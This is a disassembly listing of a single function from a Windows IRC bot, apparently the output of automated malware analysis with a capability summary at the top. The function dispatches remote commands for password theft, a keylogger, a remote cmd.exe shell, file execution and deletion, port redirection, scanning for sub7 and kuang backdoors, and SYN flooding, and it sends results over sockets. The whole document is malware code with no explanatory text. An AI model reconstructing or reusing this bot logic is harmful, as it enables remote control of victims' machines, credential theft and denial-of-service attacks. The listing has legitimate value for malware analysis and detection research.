Function at 0x4016a2
Capabilities:
Create directory
Create process on windows
Create thread
Delete file
Get common file path
Move file
Self delete
Send data
Send data on socket
Send http request
Shutdown system
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x93c
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x18]
push 0x200
push 0
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_memset
push 0x200
push 0
lea eax, [ebp - 0x628]
push eax
call sub.CRTDLL.DLL_memset
push 0x1ff
push dword [ebp + 0x14]
lea eax, [ebp - 0x628]
push eax
call sub.CRTDLL.DLL_strncpy
push 0x413ae1
lea eax, [ebp - 0x628]
push eax
call sub.CRTDLL.DLL_strtok
add esp, 0x2c
mov dword [ebp - 0x28], eax
xor esi, esi
inc esi
push 0x413ae1
push 0
call sub.CRTDLL.DLL_strtok
add esp, 8
mov dword [ebp + esi*4 - 0x28], eax
inc esi
cmp esi, 6
jl 0x401705
push 0x32
push 0
push 0x40bf40
call sub.CRTDLL.DLL_memset
and dword [0x4125f8], 0
push dword [ebp + 0x10]
push 0x413941
call sub.CRTDLL.DLL_strcmp
add esp, 0x14
or eax, eax
jne 0x40176f
push 0x1ff
mov eax, dword [ebp + 0x14]
add eax, 4
push eax
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
xor ebx, ebx
mov eax, dword [ebp + 0xc]
mov dword [ebp + 8], eax
jmp 0x402a4d
push dword [ebp + 0x10]
push str.threads
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401848
xor esi, esi
imul eax, esi, 0x214
cmp dword [eax + 0x40c07c], 0
je 0x401837
imul eax, esi, 0x214
lea eax, [eax + 0x40bf80]
push eax
push esi
push str._i:__s
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_sprintf
push 0x41392f
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 0x18
or ebx, ebx
jne 0x4017f9
lea ecx, [ebp - 0x228]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4017de
push 0
push eax
lea edi, [ebp - 0x228]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
jmp 0x401837
lea eax, [ebp - 0x228]
push eax
push ebx
push str.PRIVMSG__s_:_s
lea eax, [ebp - 0x428]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
lea ecx, [ebp - 0x428]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40181e
push 0
push eax
lea edi, [ebp - 0x428]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
inc esi
cmp esi, 0x28
jle 0x401789
xor eax, eax
jmp 0x402ae5
push dword [ebp + 0x10]
push str.info
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401873
push dword [ebp + 8]
lea eax, [ebp - 0x228]
push eax
call fcn.00404f48
add esp, 8
jmp 0x402a4d
push dword [ebp + 0x10]
push str.passwords
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4018c3
push ebx
push dword [ebp + 8]
call fcn.00405430
add esp, 8
or eax, eax
jne 0x4018ad
push str.Operation_completed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push str.startkeylogger
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401a08
cmp dword [0x4127f0], 1
jne 0x401902
push 0x40bc70
push str.error_already_logging_keys_to__s_use__stopkeylogger__to_stop
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
jmp 0x402a4d
or ebx, ebx
je 0x40192c
push ebx
push 0x40bc70
call sub.CRTDLL.DLL_sprintf
push 0x40bc70
push str.Keylogger_active_output_to:__s
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
jmp 0x40194e
push 0x32
push 0
push 0x40bc70
call sub.CRTDLL.DLL_memset
push str.Keylogger_active_output_to:_DCC_chat
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
mov dword [0x4127f0], 1
mov eax, dword [ebp + 8]
mov dword [0x40bf2c], eax
and dword [ebp - 0x83c], 0
and dword [ebp - 0x62c], 0
imul eax, dword [ebp - 0x62c], 0x214
cmp dword [eax + 0x40c07c], 2
jne 0x40198e
mov dword [ebp - 0x83c], 1
jmp 0x40199d
inc dword [ebp - 0x62c]
cmp dword [ebp - 0x62c], 0x14
jle 0x40196e
cmp dword [ebp - 0x83c], 0
jne 0x4019f9
lea eax, [ebp - 0x834]
push eax
push 0
push 0
push 0x4030e0
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [ebp - 0x830], eax
push 0x40bc70
push str.Keylogger_logging_to__s
lea eax, [ebp - 0x82c]
push eax
call sub.CRTDLL.DLL_sprintf
push 0x413960
push 2
push dword [ebp - 0x830]
push 0
lea eax, [ebp - 0x82c]
push eax
call fcn.00402aea
add esp, 0x20
mov dword [0x4127f0], 1
jmp 0x402a4d
push dword [ebp + 0x10]
push str.stopkeylogger
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401a4a
and dword [0x4127f0], 0
push 0x32
push 0
push 0x40bc70
call sub.CRTDLL.DLL_memset
push str.Keylogger_stoped
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
jmp 0x402a4d
push dword [ebp + 0x10]
push str.listprocesses
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401a9e
push 0
push 0
push ebx
push dword [ebp + 8]
call fcn.00403802
add esp, 0x10
or eax, eax
jne 0x401a88
push str.Operation_completed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push str.reconnect
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401ae2
or ebx, ebx
je 0x401ae2
lea ecx, str.QUIT
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x401abf
mov edi, eax
push 0
push edi
push str.QUIT_n_r
push dword [ebp + 8]
call sub.wsock32.dll_send
mov eax, 2
jmp 0x402ae5
push dword [ebp + 0x10]
push str.keyboardlights
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401b42
xor esi, esi
push 0
push 0x14
call fcn.00403748
push 0
push 0x91
call fcn.00403748
push 0
push 0x90
call fcn.00403748
add esp, 0x18
push 0xc8
call sub.KERNEL32.DLL_Sleep
inc esi
cmp esi, 0x32
jl 0x401af8
push str.Operation_completed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push str.disconnect
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401ba1
or ebx, ebx
je 0x401ba1
cmp dword [ebp - 0x24], 0
je 0x401b75
push dword [ebp - 0x24]
call sub.CRTDLL.DLL_atoi
pop ecx
imul edi, eax, 0x3e8
mov dword [0x4127f8], edi
lea ecx, str.QUIT_n_r
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x401b7e
mov edi, eax
push 0
push edi
push str.QUIT_n_r
push dword [ebp + 8]
call sub.wsock32.dll_send
mov eax, 3
jmp 0x402ae5
push dword [ebp + 0x10]
push str.quit
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401bbb
inc eax
jmp 0x402ae5
push dword [ebp + 0x10]
push str.reboot
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401c08
push 0
push 4
call sub.USER32.DLL_ExitWindowsEx
or eax, eax
jne 0x401bf2
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push str.QUIT_Bye_Bye_n_r
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push str.opencmd
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401c59
push ebx
push dword [ebp + 8]
call fcn.00407136
add esp, 8
cmp eax, 0xffffffff
jne 0x401c43
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push str.cmd.exe_has_started_type__cmd_help__for_commands
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push 0x4137b4
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401d14
cmp dword [ebp - 0x24], eax
je 0x401ca5
push 0x4137b2
push dword [ebp + 0x14]
call sub.CRTDLL.DLL_strcat
push 0x413ae1
push dword [ebp + 0x14]
call sub.CRTDLL.DLL_strstr
mov edi, eax
inc edi
push edi
lea edi, [ebp - 0x628]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x18
jmp 0x401cb9
push 0x4137b2
lea eax, [ebp - 0x628]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
lea ecx, [ebp - 0x628]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x401cc2
mov dword [ebp - 0x83c], eax
push 0
lea eax, [ebp - 0x83c]
push eax
push dword [ebp - 0x83c]
lea eax, [ebp - 0x628]
push eax
push dword [0x408f70]
call sub.KERNEL32.DLL_WriteFile
cmp eax, 0
jne 0x402a4d
call fcn.004070f9
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
cmp dword [ebp - 0x24], 0
je 0x402a46
push dword [ebp + 0x10]
push str.delete
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401d7b
push 0x413ae1
push dword [ebp + 0x14]
call sub.CRTDLL.DLL_strstr
add esp, 8
mov edi, eax
inc edi
push edi
call sub.KERNEL32.DLL_DeleteFileA
or eax, eax
je 0x401d65
push str.Operation_completed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push str.execute
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401de6
push 0x413ae1
push dword [ebp + 0x14]
call sub.CRTDLL.DLL_strstr
add esp, 8
push 5
push 0
push 0
mov edi, eax
inc edi
push edi
push str.open
push 0
call sub.SHELL32.DLL_ShellExecuteA
cmp eax, 0x21
jge 0x401dd0
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push str.Operation_completed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push str.makedir
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401e45
push 0x413ae1
push dword [ebp + 0x14]
call sub.CRTDLL.DLL_strstr
add esp, 8
push 0
mov edi, eax
inc edi
push edi
call sub.KERNEL32.DLL_CreateDirectoryA
or eax, eax
je 0x401e2f
push str.Operation_completed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push str.list
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401e84
push 0
push ebx
push dword [ebp + 8]
mov eax, dword [ebp + 0x14]
add eax, 5
push eax
call fcn.004039fc
add esp, 0x10
push str.Operation_completed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push str.cd_rom
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401ef1
push dword [ebp - 0x24]
call sub.CRTDLL.DLL_atoi
pop ecx
or eax, eax
jne 0x401ecb
push str.cd_rom_drive_closed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
push 0
push 0x7f
push 0
push str.set_CDAudio_door_closed
call sub.winmm.dll_mciSendStringA
jmp 0x402a4d
push str.cd_rom_drive_opened
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
push 0
push 0x7f
push 0
push str.set_CDAudio_door_open
call sub.winmm.dll_mciSendStringA
jmp 0x402a4d
push dword [ebp + 0x10]
push str.killprocess
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401f48
push 0
push dword [ebp - 0x24]
push 0
push dword [ebp + 8]
call fcn.00403802
add esp, 0x10
cmp eax, 1
jne 0x401f32
push str.Operation_completed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push str.sendkeys
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4020d2
push 0x1ff
mov eax, dword [ebp + 0x14]
add eax, 0xa
push eax
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
and dword [ebp - 0x83c], 0
xor esi, esi
jmp 0x4020a4
push 2
push 0
lea eax, [ebp - 0x83e]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov al, byte [ebp + esi - 0x228]
mov byte [ebp - 0x83e], al
and dword [ebp - 0x83c], 0
push 0x413722
lea eax, [ebp - 0x83e]
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x401fd9
push 0
push 0xd
call fcn.00403748
add esp, 8
jmp 0x4020a3
push 0x413720
lea eax, [ebp - 0x83e]
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x402002
push 0
push 8
call fcn.00403748
add esp, 8
jmp 0x4020a3
mov edi, dword [ebp - 0x83c]
push dword [edi*4 + 0x4122a0]
lea edi, [ebp - 0x83e]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x402049
mov edi, dword [ebp - 0x83c]
mov edi, dword [edi*4 + str._b_repqrstuvwxyz1234567890_tQWERTYUIOPASDFGHJKLZXCVBNM]
mov dword [ebp - 0x844], edi
push 0
mov eax, edi
and eax, 0xff
push eax
call fcn.00403748
add esp, 8
jmp 0x4020a3
mov edi, dword [ebp - 0x83c]
push dword [edi*4 + 0x41241c]
lea edi, [ebp - 0x83e]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x402090
mov edi, dword [ebp - 0x83c]
mov edi, dword [edi*4 + str._b_repqrstuvwxyz1234567890_tQWERTYUIOPASDFGHJKLZXCVBNM]
mov dword [ebp - 0x844], edi
push 1
mov eax, edi
and eax, 0xff
push eax
call fcn.00403748
add esp, 8
jmp 0x4020a3
inc dword [ebp - 0x83c]
cmp dword [ebp - 0x83c], 0x5c
jl 0x401fb0
inc esi
lea ecx, [ebp - 0x228]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4020ad
cmp esi, eax
jb 0x401f89
push str.Operation_completed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push str.killthread
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4021e4
push dword [ebp - 0x24]
call sub.CRTDLL.DLL_atoi
pop ecx
mov dword [ebp - 0x83c], eax
cmp eax, 0x27
jle 0x402105
xor eax, eax
jmp 0x402ae5
imul eax, dword [ebp - 0x83c], 0x214
cmp dword [eax + 0x40c07c], 0
je 0x402a4d
push 0
imul eax, dword [ebp - 0x83c], 0x214
push dword [eax + 0x40c08c]
call sub.KERNEL32.DLL_TerminateThread
or eax, eax
jne 0x40214f
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
imul eax, dword [ebp - 0x83c], 0x214
lea eax, [eax + 0x40bf80]
push eax
push str.Thread_killed___s_
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
imul eax, dword [ebp - 0x83c], 0x214
push dword [eax + 0x40c088]
call sub.wsock32.dll_closesocket
imul eax, dword [ebp - 0x83c], 0x214
cmp dword [eax + 0x40c07c], 2
jne 0x4021b7
push 0x32
push 0
push 0x40bc70
call sub.CRTDLL.DLL_memset
add esp, 0xc
and dword [0x4127f0], 0
imul eax, dword [ebp - 0x83c], 0x214
and dword [eax + 0x40c07c], 0
imul eax, dword [ebp - 0x83c], 0x214
push dword [eax + 0x40c08c]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x402a4d
push dword [ebp + 0x10]
push 0x4136fe
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x402284
or ebx, ebx
je 0x402284
mov eax, dword [ebp + 8]
mov dword [0x40bc58], eax
push 0x104
push 0
push 0x408010
call sub.CRTDLL.DLL_memset
push 0x14
push 0
push 0x4112a0
call sub.CRTDLL.DLL_memset
push ebx
push 0x40bf40
call fcn.00407b2c
push 0x413ae1
push dword [ebp + 0x14]
call sub.CRTDLL.DLL_strstr
mov edi, eax
inc edi
push edi
push 0x408010
call sub.CRTDLL.DLL_sprintf
add esp, 0x28
lea eax, [ebp - 0x834]
push eax
push 0
push 0
push 0x40484b
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
jmp 0x402276
push 0xa
call sub.KERNEL32.DLL_Sleep
cmp dword [0x4125f8], 0
je 0x40226f
jmp 0x402a4d
cmp dword [ebp - 0x20], 0
je 0x402a4d
push dword [ebp + 0x10]
push str.httpserver
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x40236e
push dword [ebp - 0x24]
call sub.CRTDLL.DLL_atoi
mov dword [ebp - 0x83c], eax
push 0x200
push 0
lea eax, [ebp - 0x82c]
push eax
call sub.CRTDLL.DLL_memset
push dword [ebp - 0x20]
lea eax, [ebp - 0x82c]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x18
mov esi, 3
jmp 0x402300
push dword [ebp + esi*4 - 0x28]
lea edi, [ebp - 0x82c]
push edi
push str._s__s
lea edi, [ebp - 0x82c]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
inc esi
cmp dword [ebp + esi*4 - 0x28], 0
jne 0x4022e0
push dword [ebp - 0x83c]
lea eax, [ebp - 0x82c]
push eax
call fcn.004055e5
add esp, 8
mov esi, eax
cmp esi, 0xffffffff
jne 0x40233c
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
jmp 0x402a4d
push dword [ebp - 0x83c]
push str.000.000.000.000
imul eax, esi, 0x214
lea eax, [eax + 0x40bf80]
push eax
push str._s_Address_http:___s:_i__.
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
jmp 0x402a4d
push dword [ebp + 0x10]
push str.rename
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4023bd
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call sub.KERNEL32.DLL_MoveFileA
or eax, eax
jne 0x4023a7
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push str.Operation_completed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
cmp dword [ebp - 0x1c], 0
je 0x402a4d
mov eax, dword [ebp + 8]
mov dword [0x40bc58], eax
push 0x104
push 0
push 0x408010
call sub.CRTDLL.DLL_memset
push 0x14
push 0
push 0x4112a0
call sub.CRTDLL.DLL_memset
add esp, 0x18
or ebx, ebx
je 0x402400
push ebx
push 0x40bf40
call fcn.00407b2c
push dword [ebp + 0x10]
push str.SEND
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x40246e
push dword [ebp - 0x24]
push 0x408010
call sub.CRTDLL.DLL_sprintf
push dword [ebp - 0x20]
push 0x4112a0
call sub.CRTDLL.DLL_sprintf
push dword [ebp - 0x1c]
call sub.CRTDLL.DLL_atoi
add esp, 0x14
mov dword [0x40bc5c], eax
lea eax, [ebp - 0x834]
push eax
push 0
push 0
push 0x404ce2
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
jmp 0x402460
push 5
call sub.KERNEL32.DLL_Sleep
cmp dword [0x4125f8], 0
je 0x402459
jmp 0x402a4d
push dword [ebp + 0x10]
push str.CHAT
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4024d3
or ebx, ebx
je 0x4024d3
push dword [ebp - 0x20]
push 0x4112a0
call sub.CRTDLL.DLL_sprintf
push dword [ebp - 0x1c]
call sub.CRTDLL.DLL_atoi
add esp, 0xc
mov dword [0x40bc5c], eax
lea eax, [ebp - 0x834]
push eax
push 0
push 0
push 0x4046da
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
jmp 0x4024c5
push 5
call sub.KERNEL32.DLL_Sleep
cmp dword [0x4125f8], 0
je 0x4024be
jmp 0x402a4d
push dword [ebp + 0x10]
push str.redirect
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4025d3
push dword [ebp - 0x24]
call sub.CRTDLL.DLL_atoi
push eax
call fcn.00407632
add esp, 8
mov dword [ebp - 0x83c], eax
cmp eax, 0xffffffff
jne 0x40251d
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp - 0x24]
call sub.CRTDLL.DLL_atoi
mov dword [ebp - 0x840], eax
push dword [ebp - 0x1c]
call sub.CRTDLL.DLL_atoi
push eax
push dword [ebp - 0x20]
mov edi, dword [ebp - 0x840]
push edi
push str.000.000.000.000
push str.redirect__s:_i____s:_i
lea edi, [ebp - 0x228]
push edi
call sub.CRTDLL.DLL_sprintf
push dword [ebp - 0x20]
push 6
push 0
push dword [ebp - 0x83c]
lea eax, [ebp - 0x228]
push eax
call fcn.00402aea
mov esi, eax
push dword [ebp - 0x1c]
call sub.CRTDLL.DLL_atoi
imul edi, esi, 0x214
mov dword [edi + 0x40c084], eax
push dword [ebp - 0x20]
imul eax, esi, 0x214
lea eax, [eax + 0x40c090]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x40
lea eax, [ebp - 0x834]
push eax
push 0
push esi
push 0x407882
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [ebp - 0x830], eax
imul eax, esi, 0x214
mov edx, dword [ebp - 0x830]
mov dword [eax + 0x40c08c], edx
jmp 0x402a4d
push dword [ebp + 0x10]
push str.scan
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4028cf
xor esi, esi
imul eax, esi, 0x15c
cmp dword [eax + 0x4094cc], 0
je 0x402603
inc esi
cmp esi, 9
jle 0x4025ed
cmp esi, 9
jle 0x40260f
xor eax, eax
jmp 0x402ae5
push dword [ebp - 0x24]
push 0x413b3a
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x402691
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.CRTDLL.DLL_srand
call sub.CRTDLL.DLL_rand
mov dword [ebp - 0x83c], eax
call sub.CRTDLL.DLL_rand
mov dword [ebp - 0x840], eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xff
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x840]
mov eax, edi
mov ecx, 0xff
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x83c]
mov eax, edi
mov ecx, 0xff
cdq
idiv ecx
push edx
push str._i._i._i.0
imul edi, esi, 0x15c
lea edi, [edi + 0x409494]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x18
jmp 0x4026aa
push dword [ebp - 0x24]
imul eax, esi, 0x15c
lea eax, [eax + 0x409494]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
push dword [ebp - 0x20]
call sub.CRTDLL.DLL_atoi
imul edi, esi, 0x15c
mov dword [edi + 0x4094c4], eax
push dword [ebp - 0x1c]
call sub.CRTDLL.DLL_atoi
add esp, 8
imul edi, esi, 0x15c
imul edx, eax, 0x3e8
mov dword [edi + 0x4094c8], edx
imul eax, esi, 0x15c
and dword [eax + 0x4094d0], 0
cmp dword [ebp - 0x18], 0
je 0x40273b
push str.sub7
push dword [ebp - 0x18]
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x402716
imul eax, esi, 0x15c
mov dword [eax + 0x4094d0], 1
push str.kuang
push dword [ebp - 0x18]
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x40273b
imul eax, esi, 0x15c
mov dword [eax + 0x4094d0], 2
push 0x413960
imul eax, esi, 0x15c
lea eax, [eax + 0x409390]
push eax
call sub.CRTDLL.DLL_sprintf
push 0x413960
imul eax, esi, 0x15c
lea eax, [eax + 0x4094a4]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
imul eax, esi, 0x15c
mov edx, dword [ebp + 8]
mov dword [eax + 0x4094d8], edx
or ebx, ebx
je 0x402799
push ebx
imul eax, esi, 0x15c
lea eax, [eax + 0x4094a4]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
cmp dword [ebp - 0x18], 0
je 0x4027e5
imul eax, esi, 0x15c
cmp dword [eax + 0x4094d0], 0
jne 0x4027e5
push 0x104
lea eax, [ebp - 0x93c]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
push dword [ebp - 0x18]
lea eax, [ebp - 0x93c]
push eax
push str._s_s
imul eax, esi, 0x15c
lea eax, [eax + 0x409390]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
lea eax, [ebp - 0x834]
push eax
push 0
push esi
push 0x4060a3
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [ebp - 0x830], eax
or eax, eax
je 0x4028b9
imul eax, esi, 0x15c
lea ecx, [eax + 0x409390]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40281b
cmp eax, 2
jbe 0x40285d
imul eax, esi, 0x15c
lea edx, [eax + 0x409390]
push edx
push dword [ebp - 0x1c]
push dword [eax + 0x4094c4]
lea eax, [eax + 0x409494]
push eax
push str.Portscanner_startip:__s_port:__i_delay:__ssec._logging_to:__s
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x18
jmp 0x402889
push dword [ebp - 0x1c]
imul eax, esi, 0x15c
push dword [eax + 0x4094c4]
lea eax, [eax + 0x409494]
push eax
push str.Portscanner_startip:__s_port:__i_delay:__ssec.
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
push 0x413960
push 4
push dword [ebp - 0x830]
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.00402aea
add esp, 0x14
imul edi, esi, 0x15c
mov dword [edi + 0x4094d4], eax
jmp 0x402a4d
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push 0x413615
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x402a2d
cmp dword [ebp - 0x18], eax
je 0x402a2d
push str.bla_bla_blaaaasdasd
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
xor esi, esi
imul eax, esi, 0x78
cmp dword [eax + 0x4081d4], 0
je 0x402919
inc esi
cmp esi, 0xa
jl 0x402906
cmp esi, 9
jle 0x402925
xor eax, eax
jmp 0x402ae5
push dword [ebp - 0x24]
imul eax, esi, 0x78
lea eax, [eax + 0x408160]
push eax
call fcn.00407b2c
push dword [ebp - 0x20]
call sub.CRTDLL.DLL_atoi
imul edi, esi, 0x78
mov dword [edi + 0x4081c4], eax
push dword [ebp - 0x1c]
call sub.CRTDLL.DLL_atoi
add esp, 8
imul edi, esi, 0x78
mov dword [edi + 0x4081c8], eax
imul eax, esi, 0x78
cmp dword [eax + 0x4081c8], 5
jge 0x40297a
imul eax, esi, 0x78
mov dword [eax + 0x4081c8], 5
push dword [ebp - 0x18]
call sub.CRTDLL.DLL_atoi
imul edi, esi, 0x78
mov dword [edi + 0x4081cc], eax
push 0x200
push 0
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_memset
imul eax, esi, 0x78
push dword [eax + 0x4081cc]
push dword [eax + 0x4081c8]
push dword [eax + 0x4081c4]
lea eax, [eax + 0x408160]
push eax
push str.SynFlooding:__s_port:__i_delay:__i_times:_i.
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x28
lea eax, [ebp - 0x834]
push eax
push 0
push esi
push 0x406f4b
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [ebp - 0x830], eax
or eax, eax
je 0x402a1a
push 0x413960
push 5
push eax
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.00402aea
add esp, 0x14
imul edi, esi, 0x78
mov dword [edi + 0x4081d0], eax
jmp 0x402a4d
push str.Error_operation_failed
lea eax, [ebp - 0x228]
push eax
call fcn.00407b2c
jmp 0x402a4d
push dword [ebp + 0x10]
push str.more
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x402a4d
jmp 0x402ae5
xor eax, eax
jmp 0x402ae5
lea ecx, [ebp - 0x228]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x402a56
cmp eax, 0
jne 0x402a69
mov eax, 0
